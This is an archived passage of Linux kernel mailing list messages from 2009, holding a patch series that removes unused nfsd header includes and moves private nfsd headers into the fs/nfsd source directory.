	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Nov 24 19:02:12 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NCziM-0006sO-Hy
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Tue, 24 Nov 2009 19:02:10 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933763AbZKXSBV (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Tue, 24 Nov 2009 13:01:21 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S933771AbZKXSBU
	(ORCPT <rfc822;linux-nfs-outgoing>); Tue, 24 Nov 2009 13:01:20 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:4489 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S933760AbZKXSBT (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 24 Nov 2009 13:01:19 -0500
X-Greylist: delayed 849 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Nov 2009 13:01:18 EST
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.254]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Tue, 24 Nov 2009 12:58:18 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
X-OriginalArrivalTime: 24 Nov 2009 17:58:18.0770 (UTC) FILETIME=[B4345720:01CA6D2F]
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:29566 gmane.linux.kernel:918233 gmane.linux.ports.parisc:2353 gmane.linux.ports.sparc:12501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2353>

Some arch files had unneeded #includes directives from linux/nfsd/*.
Some vfs files had unneeded #includes directives from linux/nfsd/*.

In an effort to move some of the now public nfsd headers to the source
directory, submitted a cleanup.

I have cross compiled sparc64 and s390, parsic needs testing. Please ARCH
people sends ACKs, or take these patches through your trees.

patches:
[PATCH 1/5] parsic: remove unused nfsd #includes
	Some kind soul, please compile with this patch? compile
	is all that's needed.

[PATCH 2/5] sparc: remove unused nfsd #includes
[PATCH 3/5] s390: remove unused nfsd #includes
	These two were cross compiled. Should we submit them through
	nfsd tree or the ARCH trees?

[PATCH 4/5] vfs: nfsctl.c unused nfsd #includes
[PATCH 5/5] lockd: Remove unused nfsd headers #includes
	Can these patches go through the nfsd tree?
	Who's ACKs should we collect? Andrew?

Bruce Hi
With this set applied, the only nfsd files used publicly are:
	const.h	export.h nfsfh.h stats.h syscall.h

These files can be moved to source folder:
	cache.h  debug.h  nfsd.h  state.h xdr3.h  xdr4.h  xdr.h

Why is debug.h exported from Kernel? (include/linux/nfsd/Kbuild)

So just to see how this move might look like see last patch:
[RFC] nfsd: Move private headers to source directory
	This patch was compiled, as well, on x86(32/64), sparc64, s390

Thanks
Boaz
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH 1/5] parsic: remove unused nfsd #includes
Date: Tue, 24 Nov 2009 19:59:54 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <4B0C1F1A.8070605@panasas.com>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259085740 2922 80.91.229.12 (24 Nov 2009 18:02:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 18:02:20 +0000 (UTC)
To: "J. Bruce Fields" <bfields@citi.umich.edu>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933815AbZKXSBY@vger.kernel.org Tue Nov 24 19:02:13 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933815AbZKXSBY@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NCziO-0006sO-J0
	for glk-linux-kernel-3@lo.gmane.org; Tue, 24 Nov 2009 19:02:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933815AbZKXSBY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Nov 2009 13:01:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933737AbZKXSBW
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 24 Nov 2009 13:01:22 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:4489 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S933701AbZKXSBU (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Nov 2009 13:01:20 -0500
X-Greylist: delayed 849 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Nov 2009 13:01:18 EST
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.254]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Tue, 24 Nov 2009 12:59:57 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <4B0C1EB7.50508@panasas.com>
X-OriginalArrivalTime: 24 Nov 2009 17:59:57.0366 (UTC) FILETIME=[EEF8E560:01CA6D2F]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:918234 gmane.linux.ports.parisc:2354 gmane.linux.ports.sparc:12502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2354>


Some unused includes removed.

This patch is in an effort to cleanup nfsd headers and move
private definitions to source directory.

Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>
---
 arch/parisc/kernel/sys_parisc32.c |    6 ------
 1 files changed, 0 insertions(+), 6 deletions(-)

diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 561388b..4a8ca63 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -26,13 +26,7 @@
 #include <linux/shm.h>
 #include <linux/slab.h>
 #include <linux/uio.h>
-#include <linux/nfs_fs.h>
 #include <linux/ncp_fs.h>
-#include <linux/sunrpc/svc.h>
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr.h>
-#include <linux/nfsd/syscall.h>
 #include <linux/poll.h>
 #include <linux/personality.h>
 #include <linux/stat.h>
-- 
1.6.5.2



From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH 2/5] sparc: remove unused nfsd #includes
Date: Tue, 24 Nov 2009 20:01:00 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <4B0C1F5C.9090903@panasas.com>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259085752 2960 80.91.229.12 (24 Nov 2009 18:02:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 18:02:32 +0000 (UTC)
To: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>,
	Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Nov 24 19:02:25 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NCziR-0006sO-6Y
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Tue, 24 Nov 2009 19:02:15 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933488AbZKXSBt (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Tue, 24 Nov 2009 13:01:49 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S933769AbZKXSBr
	(ORCPT <rfc822;linux-nfs-outgoing>); Tue, 24 Nov 2009 13:01:47 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:4489 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S933739AbZKXSBW (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 24 Nov 2009 13:01:22 -0500
X-Greylist: delayed 849 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Nov 2009 13:01:18 EST
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.254]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Tue, 24 Nov 2009 13:01:03 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <4B0C1EB7.50508-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
X-OriginalArrivalTime: 24 Nov 2009 18:01:03.0368 (UTC) FILETIME=[16500080:01CA6D30]
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:29567 gmane.linux.kernel:918235 gmane.linux.ports.parisc:2355 gmane.linux.ports.sparc:12503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2355>


Some unused includes removed.

In an effort to cleanup nfsd headers and move private
definitions to source directory.

Signed-off-by: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
---
 arch/sparc/kernel/sys_sparc32.c |    5 -----
 1 files changed, 0 insertions(+), 5 deletions(-)

diff --git a/arch/sparc/kernel/sys_sparc32.c b/arch/sparc/kernel/sys_sparc32.c
index 04e28b2..0a68fdf 100644
--- a/arch/sparc/kernel/sys_sparc32.c
+++ b/arch/sparc/kernel/sys_sparc32.c
@@ -26,11 +26,6 @@
 #include <linux/nfs_fs.h>
 #include <linux/quota.h>
 #include <linux/module.h>
-#include <linux/sunrpc/svc.h>
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr.h>
-#include <linux/nfsd/syscall.h>
 #include <linux/poll.h>
 #include <linux/personality.h>
 #include <linux/stat.h>
-- 
1.6.5.2


--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH 5/5] vfs: nfsctl.c unused nfsd #includes
Date: Tue, 24 Nov 2009 20:04:12 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <4B0C201C.4040400@panasas.com>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259086641 6070 80.91.229.12 (24 Nov 2009 18:17:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 18:17:21 +0000 (UTC)
To: "J. Bruce Fields" <bfields@citi.umich.edu>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933858AbZKXSQr@vger.kernel.org Tue Nov 24 19:17:14 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933858AbZKXSQr@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NCzww-0005Oa-CI
	for glk-linux-kernel-3@lo.gmane.org; Tue, 24 Nov 2009 19:17:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933858AbZKXSQr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Nov 2009 13:16:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933786AbZKXSQl
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 24 Nov 2009 13:16:41 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:33713 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S933231AbZKXSQi (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Nov 2009 13:16:38 -0500
X-Greylist: delayed 917 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Nov 2009 13:16:36 EST
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.254]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Tue, 24 Nov 2009 13:04:15 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <4B0C1EB7.50508@panasas.com>
X-OriginalArrivalTime: 24 Nov 2009 18:04:15.0670 (UTC) FILETIME=[88EEF560:01CA6D30]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:918240 gmane.linux.ports.parisc:2356 gmane.linux.ports.sparc:12504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2356>


Only linux/nfsd/syscall.h is actually used. Remove the
other nfsd #includes, so they can be moved to source
directory.

Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>
---
 fs/nfsctl.c |    2 --
 1 files changed, 0 insertions(+), 2 deletions(-)

diff --git a/fs/nfsctl.c b/fs/nfsctl.c
index 8f9a205..d3854d9 100644
--- a/fs/nfsctl.c
+++ b/fs/nfsctl.c
@@ -7,8 +7,6 @@
 #include <linux/types.h>
 #include <linux/file.h>
 #include <linux/fs.h>
-#include <linux/sunrpc/svc.h>
-#include <linux/nfsd/nfsd.h>
 #include <linux/nfsd/syscall.h>
 #include <linux/cred.h>
 #include <linux/sched.h>
-- 
1.6.5.2



From - Thu Nov 08 21:05:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [RFC] nfsd: Move private headers to source directory
Date: Tue, 24 Nov 2009 20:05:14 +0200
Lines: 450
Approved: news@gmane.org
Message-ID: <4B0C205A.3000403@panasas.com>
References: <4B0C1EB7.50508@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259086643 6081 80.91.229.12 (24 Nov 2009 18:17:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2009 18:17:23 +0000 (UTC)
To: "J. Bruce Fields" <bfields@citi.umich.edu>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	sparclinux <sparclinux@vger.kernel.org>,
	linux-s
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933871AbZKXSQs@vger.kernel.org Tue Nov 24 19:17:16 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S933871AbZKXSQs@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NCzww-0005Oa-T3
	for glk-linux-kernel-3@lo.gmane.org; Tue, 24 Nov 2009 19:17:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933871AbZKXSQs (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 24 Nov 2009 13:16:48 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933787AbZKXSQn
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 24 Nov 2009 13:16:43 -0500
Original-Received: from daytona.panasas.com ([67.152.220.89]:33713 "EHLO
	daytona.int.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S932245AbZKXSQj (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 24 Nov 2009 13:16:39 -0500
X-Greylist: delayed 917 seconds by postgrey-1.27 at vger.kernel.org; Tue, 24 Nov 2009 13:16:36 EST
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.33.254]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Tue, 24 Nov 2009 13:05:16 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20090924 Remi/fc10 Thunderbird/3.0b4
In-Reply-To: <4B0C1EB7.50508@panasas.com>
X-OriginalArrivalTime: 24 Nov 2009 18:05:17.0031 (UTC) FILETIME=[AD81E770:01CA6D30]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:918241 gmane.linux.ports.parisc:2357 gmane.linux.ports.sparc:12505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2357>


Lots of include/linux/nfsd/* headers are only used by
nfsd module. Move them to the source directory

Signed-off-by: Boaz Harrosh <bharrosh@panasas.com>
---
 fs/nfsd/auth.c                     |    2 +-
 {include/linux => fs}/nfsd/cache.h |    0
 fs/nfsd/export.c                   |    3 ++-
 fs/nfsd/lockd.c                    |    2 +-
 fs/nfsd/nfs2acl.c                  |    7 ++++---
 fs/nfsd/nfs3acl.c                  |    7 ++++---
 fs/nfsd/nfs3proc.c                 |    4 ++--
 fs/nfsd/nfs3xdr.c                  |    2 +-
 fs/nfsd/nfs4callback.c             |    4 ++--
 fs/nfsd/nfs4proc.c                 |    4 ++--
 fs/nfsd/nfs4recover.c              |    5 +++--
 fs/nfsd/nfs4state.c                |    2 +-
 fs/nfsd/nfs4xdr.c                  |    3 ++-
 fs/nfsd/nfscache.c                 |    4 ++--
 fs/nfsd/nfsctl.c                   |    5 +++--
 {include/linux => fs}/nfsd/nfsd.h  |    0
 fs/nfsd/nfsfh.c                    |    2 +-
 fs/nfsd/nfsproc.c                  |    4 ++--
 fs/nfsd/nfssvc.c                   |    4 ++--
 fs/nfsd/nfsxdr.c                   |    2 +-
 {include/linux => fs}/nfsd/state.h |    0
 fs/nfsd/stats.c                    |    4 ++--
 fs/nfsd/vfs.c                      |   18 ++++++++++--------
 {include/linux => fs}/nfsd/xdr.h   |    2 +-
 {include/linux => fs}/nfsd/xdr3.h  |    2 +-
 {include/linux => fs}/nfsd/xdr4.h  |    4 ++--
 26 files changed, 52 insertions(+), 44 deletions(-)
 rename {include/linux => fs}/nfsd/cache.h (100%)
 rename {include/linux => fs}/nfsd/nfsd.h (100%)
 rename {include/linux => fs}/nfsd/state.h (100%)
 rename {include/linux => fs}/nfsd/xdr.h (99%)
 rename {include/linux => fs}/nfsd/xdr3.h (99%)
 rename {include/linux => fs}/nfsd/xdr4.h (99%)

diff --git a/fs/nfsd/auth.c b/fs/nfsd/auth.c
index ad354d2..71209d4 100644
--- a/fs/nfsd/auth.c
+++ b/fs/nfsd/auth.c
@@ -5,7 +5,7 @@
  */
 
 #include <linux/sched.h>
-#include <linux/nfsd/nfsd.h>
+#include "nfsd.h"
 #include "auth.h"
 
 int nfsexp_flags(struct svc_rqst *rqstp, struct svc_export *exp)
diff --git a/include/linux/nfsd/cache.h b/fs/nfsd/cache.h
similarity index 100%
rename from include/linux/nfsd/cache.h
rename to fs/nfsd/cache.h
diff --git a/fs/nfsd/export.c b/fs/nfsd/export.c
index 68e63f4..cb3dae2 100644
--- a/fs/nfsd/export.c
+++ b/fs/nfsd/export.c
@@ -18,10 +18,11 @@
 #include <linux/module.h>
 #include <linux/exportfs.h>
 
-#include <linux/nfsd/nfsd.h>
 #include <linux/nfsd/syscall.h>
 #include <net/ipv6.h>
 
+#include "nfsd.h"
+
 #define NFSDDBG_FACILITY	NFSDDBG_EXPORT
 
 typedef struct auth_domain	svc_client;
diff --git a/fs/nfsd/lockd.c b/fs/nfsd/lockd.c
index 801ef71..6f12777 100644
--- a/fs/nfsd/lockd.c
+++ b/fs/nfsd/lockd.c
@@ -9,8 +9,8 @@
  */
 
 #include <linux/file.h>
-#include <linux/nfsd/nfsd.h>
 #include <linux/lockd/bind.h>
+#include "nfsd.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_LOCKD
diff --git a/fs/nfsd/nfs2acl.c b/fs/nfsd/nfs2acl.c
index a54628d..874e2a9 100644
--- a/fs/nfsd/nfs2acl.c
+++ b/fs/nfsd/nfs2acl.c
@@ -6,10 +6,11 @@
  * Copyright (C) 2002-2003 Andreas Gruenbacher <agruen@suse.de>
  */
 
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr3.h>
+#include "nfsd.h"
+/* FIXME: nfsacl.h is a broken header */
 #include <linux/nfsacl.h>
+#include "cache.h"
+#include "xdr3.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_PROC
diff --git a/fs/nfsd/nfs3acl.c b/fs/nfsd/nfs3acl.c
index 2f5c61b..c6011dd 100644
--- a/fs/nfsd/nfs3acl.c
+++ b/fs/nfsd/nfs3acl.c
@@ -6,10 +6,11 @@
  * Copyright (C) 2002-2003 Andreas Gruenbacher <agruen@suse.de>
  */
 
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr3.h>
+#include "nfsd.h"
+/* FIXME: nfsacl.h is a broken header */
 #include <linux/nfsacl.h>
+#include "cache.h"
+#include "xdr3.h"
 #include "vfs.h"
 
 #define RETURN_STATUS(st)	{ resp->status = (st); return (st); }
diff --git a/fs/nfsd/nfs3proc.c b/fs/nfsd/nfs3proc.c
index b694b43..90b19ca 100644
--- a/fs/nfsd/nfs3proc.c
+++ b/fs/nfsd/nfs3proc.c
@@ -10,8 +10,8 @@
 #include <linux/ext2_fs.h>
 #include <linux/magic.h>
 
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr3.h>
+#include "cache.h"
+#include "xdr3.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_PROC
diff --git a/fs/nfsd/nfs3xdr.c b/fs/nfsd/nfs3xdr.c
index 623e13a..c523bb8 100644
--- a/fs/nfsd/nfs3xdr.c
+++ b/fs/nfsd/nfs3xdr.c
@@ -9,7 +9,7 @@
  */
 
 #include <linux/namei.h>
-#include <linux/nfsd/xdr3.h>
+#include "xdr3.h"
 #include "auth.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_XDR
diff --git a/fs/nfsd/nfs4callback.c b/fs/nfsd/nfs4callback.c
index 4fe3960..f7a3158 100644
--- a/fs/nfsd/nfs4callback.c
+++ b/fs/nfsd/nfs4callback.c
@@ -34,8 +34,8 @@
  */
 
 #include <linux/sunrpc/clnt.h>
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/state.h>
+#include "nfsd.h"
+#include "state.h"
 
 #define NFSDDBG_FACILITY                NFSDDBG_PROC
 
diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c
index d0e04cb..f8a37c4 100644
--- a/fs/nfsd/nfs4proc.c
+++ b/fs/nfsd/nfs4proc.c
@@ -36,8 +36,8 @@
  */
 #include <linux/file.h>
 
-#include <linux/nfsd/cache.h>
-#include <linux/nfsd/xdr4.h>
+#include "cache.h"
+#include "xdr4.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_PROC
diff --git a/fs/nfsd/nfs4recover.c b/fs/nfsd/nfs4recover.c
index 48742f2..6744e7f 100644
--- a/fs/nfsd/nfs4recover.c
+++ b/fs/nfsd/nfs4recover.c
@@ -33,12 +33,13 @@
 *
 */
 
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/state.h>
 #include <linux/file.h>
 #include <linux/namei.h>
 #include <linux/crypto.h>
 #include <linux/sched.h>
+
+#include "nfsd.h"
+#include "state.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY                NFSDDBG_PROC
diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c
index 1fe6e29..2923e6c 100644
--- a/fs/nfsd/nfs4state.c
+++ b/fs/nfsd/nfs4state.c
@@ -36,11 +36,11 @@
 
 #include <linux/file.h>
 #include <linux/smp_lock.h>
-#include <linux/nfsd/xdr4.h>
 #include <linux/namei.h>
 #include <linux/swap.h>
 #include <linux/sunrpc/svcauth_gss.h>
 #include <linux/sunrpc/clnt.h>
+#include "xdr4.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY                NFSDDBG_PROC
diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
index 2fa9682..cab9780 100644
--- a/fs/nfsd/nfs4xdr.c
+++ b/fs/nfsd/nfs4xdr.c
@@ -43,10 +43,11 @@
 #include <linux/namei.h>
 #include <linux/statfs.h>
 #include <linux/utsname.h>
-#include <linux/nfsd/xdr4.h>
 #include <linux/nfsd_idmap.h>
 #include <linux/nfs4_acl.h>
 #include <linux/sunrpc/svcauth_gss.h>
+
+#include "xdr4.h"
 #include "vfs.h"
 
 #define NFSDDBG_FACILITY		NFSDDBG_XDR
diff --git a/fs/nfsd/nfscache.c b/fs/nfsd/nfscache.c
index 96694b8..18aa972 100644
--- a/fs/nfsd/nfscache.c
+++ b/fs/nfsd/nfscache.c
@@ -10,8 +10,8 @@
  * Copyright (C) 1995, 1996 Olaf Kirch <okir@monad.swb.de>
  */
 
-#include <linux/nfsd/nfsd.h>
-#include <linux/nfsd/cache.h>
+#include "nfsd.h"
+#include "cache.h"
 
 /* Size of reply cache. Common values are:
  * 4.3BSD:	128
diff --git a/fs/nfsd/nfsctl.c b/fs/nfsd/nfsctl.c
index e4f49fd..0415680 100644
